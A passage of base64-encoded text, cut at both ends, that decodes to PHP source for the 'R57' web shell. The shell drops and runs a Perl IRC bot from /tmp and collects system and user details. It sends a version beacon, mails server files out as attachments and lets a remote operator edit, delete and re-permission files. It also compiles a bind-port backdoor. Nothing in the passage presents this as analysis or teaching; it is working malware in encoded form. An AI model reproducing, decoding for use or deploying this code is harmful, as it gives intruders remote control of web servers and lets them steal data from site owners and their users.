yMjIyMjIyMjIyMKIjsKJGJvdCA9ICIvdG1wL2lyY3MucGwiOwokb3BlbiA9IGZvcGVuKCRib3QsInciKTsKZnB1dHMoJG9wZW4sJGZpbGUpOwpmY2xvc2UoJG9wZW4pOwokY21kPSJwZXJsICRib3QiOwokY21kMj0icm0gJGJvdCI7CnN5c3RlbSgkY21kKTsKc3lzdGVtKCRjbWQyKTsKJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gaXJjc2VydmVyIC4uLlwiIjsKCn0KCmlmKCR1bml4KQogewogaWYoIWlzc2V0KCRfQ09PS0lFWyd1bmFtZSddKSkgeyAkdW5hbWUgPSBleCgndW5hbWUgLWEnKTsgc2V0Y29va2llKCd1bmFtZScsJHVuYW1lKTsgfSBlbHNlIHsgJHVuYW1lID0gJF9DT09LSUVbJ3VuYW1lJ107IH0KIGlmKCFpc3NldCgkX0NPT0tJRVsnaWQnXSkpIHsgJGlkID0gZXgoJ2lkJyk7IHNldGNvb2tpZSgnaWQnLCRpZCk7IH0gZWxzZSB7ICRpZCA9ICRfQ09PS0lFWydpZCddOyB9CiBpZigkc2FmZV9tb2RlKSB7ICRzeXNjdGwgPSAnLSc7IH0KIGVsc2UgaWYoaXNzZXQoJF9DT09LSUVbJ3N5c2N0bCddKSkgeyAkc3lzY3RsID0gJF9DT09LSUVbJ3N5c2N0bCddOyB9CiBlbHNlCiAgewogICAkc3lzY3RsID0gZXgoJ3N5c2N0bCAtbiBrZXJuLm9zdHlwZSAmJiBzeXNjdGwgLW4ga2Vybi5vc3JlbGVhc2UnKTsKICAgaWYoZW1wdHkoJHN5c2N0bCkpIHsgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2VybmVsLm9zdHlwZSAmJiBzeXNjdGwgLW4ga2VybmVsLm9zcmVsZWFzZScpOyB9CiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwgPSAnLSc7IH0KICAgc2V0Y29va2llKCdzeXNjdGwnLCRzeXNjdGwpOwogIH0KIH0KZWNobyAkaGVhZDsKZWNobyAnPC9oZWFkPic7CmlmKGVtcHR5KCRfUE9TVFsnY21kJ10pKSB7CiRzZXJ2ID0gYXJyYXkoMTI3LDE5MiwxNzIsMTApOwokYWRkcj1AZXhwbG9kZSgnLicsICRfU0VSVkVSWydTRVJWRVJfQUREUiddKTsKJGN1cnJlbnRfdmVyc2lvbiA9IHN0cl9yZXBsYWNlKCcuJywnJywkdmVyc2lvbik7CmlmICghaW5fYXJyYXkoJGFkZHJbMF0sICRzZXJ2KSkgewpAcHJpbnQgIjxpbWcgc3JjPVwiaHR0cDovLzEyNy4wLjAuMS92ZXJzaW9uLnBocD9pbWc9MSZ2ZXJzaW9uPSIuJGN1cnJlbnRfdmVyc2lvbi4iXCIgYm9yZGVyPTAgaGVpZ2h0PTAgd2lkdGg9MD4iOwpAcmVhZGZpbGUgKCJodHRwOi8vMTI3LjAuMC4xL3ZlcnNpb24ucGhwP3ZlcnNpb249Ii4kY3VycmVudF92ZXJzaW9uLiIiKTt9fQplY2hvICc8Ym9keT48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jQ0NDQ0NDPjx0cj48dGQgYmdjb2xvcj0jMDAwMDAwIHdpZHRoPTE2MD48Zm9udCBmYWNlPUNvbWljIFNhbnMgTVMgc2l6ZT00Picud3MoMikuJzxESVYgZGlyPWx0ciBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTIwPjxiPq48L2I+PC9mb250PjxiPicud3MoMikuJzxESVYgZGlyPWx0ciBhbGlnbj1jZW50ZXI+PFNQQU4Kc3R5bGU9IkZJTFRFUjogYmx1cihhZGQ9MSxkaXJlY3Rpb249MTAsc3RyZW5ndGg9MjUpOyBIRUlHSFQ6IDI1cHgiPgo8U1BBTgpzdHlsZT0iRk9OVC1TSVpFOiAyMHB0OyBDT0xPUjogcmVkOyBGT05ULUZBTUlMWTogSW1wYWN0Ij5SNTcgdmVyIDEuNTwvUD48L1NQQU4+PC9ESVY+PC9mb250PjwvYj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jMDAwMDAwPjxmb250IGZhY2U9dGFob21hIHNpemU9MT4nOwplY2hvIHdzKDIpLiI8Yj4iLmRhdGUgKCJkLW0tWSBIOmk6cyIpLiI8L2I+IjsKZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NiddLiJcIj48Yj5UaGUgbWFpbiBzdXJ2ZXk8L2I+PC9hPiAiLiRyYjsKZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9zcWxtYW4gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NiddLiJcIj48Yj5TUUw8L2I+PC9hPiAiLiRyYjsKZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmZvIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDYnXS4iXCI+PGI+cGhwaW5mbzwvYj48L2E+ICIuJHJiOwplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocGluaSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ3J10uIlwiPjxiPnBocC5pbmk8L2I+PC9hPiAiLiRyYjsKaWYoJHVuaXgpCiB7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2NwdSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUwJ10uIlwiPjxiPmNwdTwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9tZW0gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MSddLiJcIj48Yj5tZW08L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnMgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NSddLiJcIj48Yj51c2VyczwvYj48L2E+ICIuJHJiOwogfQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3RtcCB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ4J10uIlwiPjxiPnRtcDwvYj48L2E+ICIuJHJiOwplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2RlbGV0ZSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ5J10uIlwiPjxiPmRlbGV0ZTwvYj48L2E+ICIuJHJiLiI8YnI+IjsKZWNobyB3cygyKS4ic2FmZV9tb2RlOiA8Yj4iOwplY2hvICgoJHNhZmVfbW9kZSk/KCI8Zm9udCBjb2xvcj0jMDA4MDAwPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iKSk7CmVjaG8gIjwvYj4iLndzKDIpOwplY2hvICJQSFAgdmVyc2lvbjogPGI+Ii5AcGhwdmVyc2lvbigpLiI8L2I+IjsKJGN1cmxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsKZWNobyB3cygyKTsKZWNobyAiY1VSTDogPGI+Ii4oKCRjdXJsX29uKT8oIjxmb250IGNvbG9yPSMwMDgwMDA+T048L2ZvbnQ+Iik6KCI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiIpKTsKZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIk1ZU1FMOiA8Yj4iOwokbXlzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7CmlmKCRteXNxbF9vbil7CmVjaG8gIjxmb250IGNvbG9yPSMwMDgwMDA+T048L2ZvbnQ+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOyB9CmVjaG8gIjwvYj4iLndzKDIpOwplY2hvICJNU1NRTDogPGI+IjsKJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOwppZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPSMwMDgwMDA+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7fQplY2hvICI8L2I+Ii53cygyKTsKZWNobyAiUG9zdGdyZVNRTDogPGI+IjsKJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPSMwMDgwMDA+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7fQplY2hvICI8L2I+Ii53cygyKTsKZWNobyAiT3JhY2xlOiA8Yj4iOwokb3JhX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKTsKaWYoJG9yYV9vbil7ZWNobyAiPGZvbnQgY29sb3I9IzAwODAwMD5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+Ijt9CmVjaG8gIjwvYj48YnI+Ii53cygyKTsKZWNobyAiRGlzYWJsZSBmdW5jdGlvbnM6IDxiPiI7CmlmKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSl7ZWNobyAiPGZvbnQgY29sb3I9IzAwODAwRj5OT05FPC9mb250PjwvYj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD4kZGY8L2ZvbnQ+PC9iPiI7fQokZnJlZSA9IEBkaXNrZnJlZXNwYWNlKCRkaXIpOwppZiAoISRmcmVlKSB7JGZyZWUgPSAwO30KJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpOwppZiAoISRhbGwpIHskYWxsID0gMDt9CmVjaG8gIjxicj4iLndzKDIpLiJIREQgRnJlZSAgOiA8Yj4iLnZpZXdfc2l6ZSgkZnJlZSkuIjwvYj4gSEREIFRvdGFsIDogPGI+Ii52aWV3X3NpemUoJGFsbCkuIjwvYj4iOwplY2hvICI8L2I+PGJyPiIud3MoMik7CmVjaG8gIlJlZ2lzdGVyIGdsb2JhbHM6IDxiPiI7CiRyZWdfZyA9IEBpbmlfZ2V0KCJyZWdpc3Rlcl9nbG9iYWxzIik7CmlmKCRyZWdfZyl7CmVjaG8gIjxmb250IGNvbG9yPSMwMDgwMDA+T048L2ZvbnQ+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOyB9CmVjaG8gIjwvYj4iLndzKDIpOwplY2hvICJvcGVuX2Jhc2VkaXI6IDxiPiI7CiRvcGVuYmFzZWRpID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOwppZigkb3BlbmJhc2VkaSl7CmVjaG8gIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xvcj0jMDA4MDAwPk9GRjwvZm9udD4iOyB9CmVjaG8gIjwvYj4iLndzKDIpOwplY2hvICc8L2ZvbnQ+PC90ZD48L3RyPjx0YWJsZT4KPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I2NjY2NjYz4KPHRyPjx0ZCBhbGlnbj1yaWdodCB3aWR0aD0xMDA+JzsKZWNobyAkZm9udDsKaWYoJHVuaXgpewplY2hvICc8Zm9udCBjb2xvcj0jOTkwMDAwPjxiPnVuYW1lIC1hIDonLndzKDEpLic8YnI+c3lzY3RsIDonLndzKDEpLic8YnI+JE9TVFlQRSA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPmlkIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8YnI+aXAgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7CmVjaG8gIjwvdGQ+PHRkPiI7CmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTIgY29sb3I9I2NjY2NjYz48Yj4iOwplY2hvKCghZW1wdHkoJHVuYW1lKSk/KHdzKDMpLkBzdWJzdHIoJHVuYW1lLDAsMTIwKS4iPGJyPiIpOih3cygzKS5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iKSk7CmVjaG8gd3MoMykuJHN5c2N0bC4iPGJyPiI7CmVjaG8gd3MoMykuZXgoJ2VjaG8gJE9TVFlQRScpLiI8YnI+IjsKZWNobyB3cygzKS5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiI8YnI+IjsKaWYoIWVtcHR5KCRpZCkpIHsgZWNobyB3cygzKS4kaWQuIjxicj4iOyB9CmVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRldWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkKIHsKICRldXNlcmluZm8gID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOwogJGVncm91cGluZm8gPSBAcG9zaXhfZ2V0Z3JnaWQoQHBvc2l4X2dldGVnaWQoKSk7CiBlY2hvIHdzKDMpLid1aWQ9Jy4kZXVzZXJpbmZvWyd1aWQnXS4nICggJy4kZXVzZXJpbmZvWyduYW1lJ10uJyApIGdpZD0nLiRlZ3JvdXBpbmZvWydnaWQnXS4nICggJy4kZWdyb3VwaW5mb1snbmFtZSddLicgKTxicj4nOwogfQplbHNlIGVjaG8gd3MoMykuInVzZXI9Ii5AZ2V0X2N1cnJlbnRfdXNlcigpLiIgdWlkPSIuQGdldG15dWlkKCkuIiBnaWQ9Ii5AZ2V0bXlnaWQoKS4iPGJyPiI7CmVjaG8gd3MoMykuJGRpcjsKZWNobyB3cygzKS4nKCAnLnBlcm1zKEBmaWxlcGVybXMoJGRpcikpLicgKSc7CmVjaG8gIjxicj4iOwplY2hvIHdzKDMpLiI8Yj5Zb3VyIGlwOiA8YSBocmVmPWh0dHA6Ly8iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI+Ii4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPC9hPiAtIFNlcnZlciBpcDogPGEgaHJlZj1odHRwOi8vIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9hPjwvYj48YnIvPiI7CmVjaG8gIjwvYj48L2ZvbnQ+IjsKfQplbHNlCnsKZWNobyAnPGZvbnQgY29sb3I9Ymx1ZT48Yj5PUyA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPlVzZXIgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzxicj5pcCA6Jy53cygxKS4nPC9iPjwvZm9udD48YnI+JzsKZWNobyAiPC90ZD48dGQ+IjsKZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+IjsKZWNobyB3cygzKS5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iOwplY2hvIHdzKDMpLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIjxicj4iOwplY2hvIHdzKDMpLkBnZXRlbnYoIlVTRVJOQU1FIikuIjxicj4iOwplY2hvIHdzKDMpLiRkaXI7CmVjaG8gIjxicj4iOwplY2hvIHdzKDMpLiI8Yj5Zb3VyIGlwOiA8YSBocmVmPWh0dHA6Ly8iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI+Ii4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPC9hPiAtIFNlcnZlciBpcDogPGEgaHJlZj1odHRwOi8vIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9hPjwvYj48YnIvPiI7CmVjaG8gIjxicj48L2ZvbnQ+IjsKfQplY2hvICI8L2ZvbnQ+IjsKZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsIikKIHsKICRyZXMgPSBtYWlsKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1YmonXSwkX1BPU1RbJ3RleHQnXSwiRnJvbTogIi4kX1BPU1RbJ2Zyb20nXS4iXHJcbiIpOwogZXJyKDYrJHJlcyk7CiAkX1BPU1RbJ2NtZCddPSIiOwogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWxfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpCiB7CiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnbG9jX2ZpbGUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnbG9jX2ZpbGUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0KIGVsc2UKICB7CiAgICAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydsb2NfZmlsZSddKTsKICAgICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydsb2NfZmlsZSddKSk7CiAgICBmY2xvc2UoJGZpbGUpOwogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsKICAgIGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsKICAgICRhdHRhY2ggPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAibmFtZSI9PiRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAidHlwZSI9PiRtaW1lX3R5cGUsCiAgICAgICAgICAgICAgICAgICAgImNvbnRlbnQiPT4kZmlsZWR1bXAKICAgICAgICAgICAgICAgICAgICk7CiAgICBpZihlbXB0eSgkX1BPU1RbJ3N1YmonXSkpIHsgJF9QT1NUWydzdWJqJ10gPSAnZmlsZSBmcm9tIGthaWxhdGlnaS1tb25vIHNoZWxsJzsgfQogICAgaWYoZW1wdHkoJF9QT1NUWydmcm9tJ10pKSB7ICRfUE9TVFsnZnJvbSddID0gJ2JpbGx5QG1pY3Jvc29mdC5jb20nOyB9CiAgICAkcmVzID0gbWFpbGF0dGFjaCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydmcm9tJ10sJF9QT1NUWydzdWJqJ10sJGF0dGFjaCk7CiAgICBlcnIoNiskcmVzKTsKICAgICRfUE9TVFsnY21kJ109IiI7CiAgfQogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXSA9PSAiZmluZF90ZXh0IikKewokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10uJyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1RbJ3NfdGV4dCddLidcJyc7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJjaF8iKQogewogc3dpdGNoKCRfUE9TVFsnd2hhdCddKQogICB7CiAgIGNhc2UgJ293bic6CiAgIEBjaG93bigkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pOwogICBicmVhazsKICAgY2FzZSAnZ3JwJzoKICAgQGNoZ3JwKCRfUE9TVFsncGFyYW0xJ10sJF9QT1NUWydwYXJhbTInXSk7CiAgIGJyZWFrOwogICBjYXNlICdtb2QnOgogICBAY2htb2QoJF9QT1NUWydwYXJhbTEnXSxpbnR2YWwoJF9QT1NUWydwYXJhbTInXSwgOCkpOwogICBicmVhazsKICAgfQogJF9QT1NUWydjbWQnXT0iIjsKIH0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpCiB7CiAgIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkKICAgewogICAgIGNhc2UgJ2ZpbGUnOgogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKQogICAgICAgewogICAgICAgaWYoZmlsZV9leGlzdHMoJF9QT1NUWydta19uYW1lJ10pIHx8ICEkZmlsZT1AZm9wZW4oJF9QT1NUWydta19uYW1lJ10sInciKSkgeyBlcnIoMiwkX1BPU1RbJ21rX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0KICAgICAgIGVsc2UgewogICAgICAgIGZjbG9zZSgkZmlsZSk7CiAgICAgICAgJF9QT1NUWydlX25hbWUnXSA9ICRfUE9TVFsnbWtfbmFtZSddOwogICAgICAgICRfUE9TVFsnY21kJ109ImVkaXRfZmlsZSI7CiAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I2NjY2NjYz48dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsKICAgICAgICB9CiAgICAgICB9CiAgICAgICBlbHNlIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImRlbGV0ZSIpCiAgICAgICB7CiAgICAgICBpZih1bmxpbmsoJF9QT1NUWydta19uYW1lJ10pKSBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jY2NjY2NjPjx0cj48dGQgYmdjb2xvcj0jMDAwMDAwPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjMnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAgJF9QT1NUWydjbWQnXT0iIjsKICAgICAgIH0KICAgICBicmVhazsKICAgICBjYXNlICdkaXInOgogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKXsKICAgICAgaWYobWtkaXIoJF9QT1NUWydta19uYW1lJ10pKQogICAgICAgewogICAgICAgICAkX1BPU1RbJ2NtZCddPSIiOwogICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jY2NjY2NjPjx0cj48dGQgYmdjb2xvcj0jMDAwMDAwPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjInXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAgfQogICAgICBlbHNlIHsgZXJyKDIsJF9QT1NUWydta19uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9CiAgICAgIH0KICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKXsKICAgICAgaWYocm1kaXIoJF9QT1NUWydta19uYW1lJ10pKSBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jY2NjY2NjPjx0cj48dGQgYmdjb2xvcj0jMDAwMDAwPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjQnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAkX1BPU1RbJ2NtZCddPSIiOwogICAgICB9CiAgICAgYnJlYWs7CiAgIH0KIH0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJlZGl0X2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2VfbmFtZSddKSkKIHsKIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwicisiKSkgeyAkb25seV9yZWFkID0gMTsgQGZjbG9zZSgkZmlsZSk7IH0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnZV9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9CiBlbHNlIHsKIGVjaG8gJHRhYmxlX3VwMzsKIGVjaG8gJGZvbnQ7CiBlY2hvICI8Zm9ybSBuYW1lPXNhdmVfZmlsZSBtZXRob2Q9cG9zdD4iOwogZWNobyB3cygzKS4iPGI+Ii4kX1BPU1RbJ2VfbmFtZSddLiI8L2I+IjsKIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPWVfdGV4dCBjb2xzPTEyMSByb3dzPTI0PiI7CiBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydlX25hbWUnXSkpKTsKIGZjbG9zZSgkZmlsZSk7CiBlY2hvICI8L3RleHRhcmVhPiI7CiBlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1lX25hbWUgdmFsdWU9Ii4kX1BPU1RbJ2VfbmFtZSddLiI+IjsKIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRpciB2YWx1ZT0iLiRkaXIuIj4iOwogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y21kIHZhbHVlPXNhdmVfZmlsZT4iOwogZWNobyAoIWVtcHR5KCRvbmx5X3JlYWQpPygiPGJyPjxicj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NCddKTooIjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiICIuJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10uIiBcIj4iKSk7CiBlY2hvICI8L2Rpdj4iOwogZWNobyAiPC9mb250PiI7CiBlY2hvICI8L2Zvcm0+IjsKIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiBleGl0KCk7CiB9CiB9CmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ic2F2ZV9maWxlIikKIHsKICRtdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydlX25hbWUnXSk7CiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInciKSkgeyBlcnIoMCwkX1BPU1RbJ2VfbmFtZSddKTsgfQogZWxzZSB7CiBpZigkdW5peCkgJF9QT1NUWydlX3RleHQnXT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydlX3RleHQnXSk7CiBAZndyaXRlKCRmaWxlLCRfUE9TVFsnZV90ZXh0J10pOwogQHRvdWNoKCRfUE9TVFsnZV9uYW1lJ10sJG10aW1lLCRtdGltZSk7CiAkX1BPU1RbJ2NtZCddPSIiOwogZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I2NjY2NjYz48dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ1J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsKIH0KIH0KCgoKaWYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkmJiFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSYmKCRfUE9TVFsndXNlJ109PSJDIikpCnsKIGNmKCIvdG1wL2JkLmMiLCRwb3J0X2JpbmRfYmRfYyk7CiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9iZCAvdG1wL2JkLmMiKT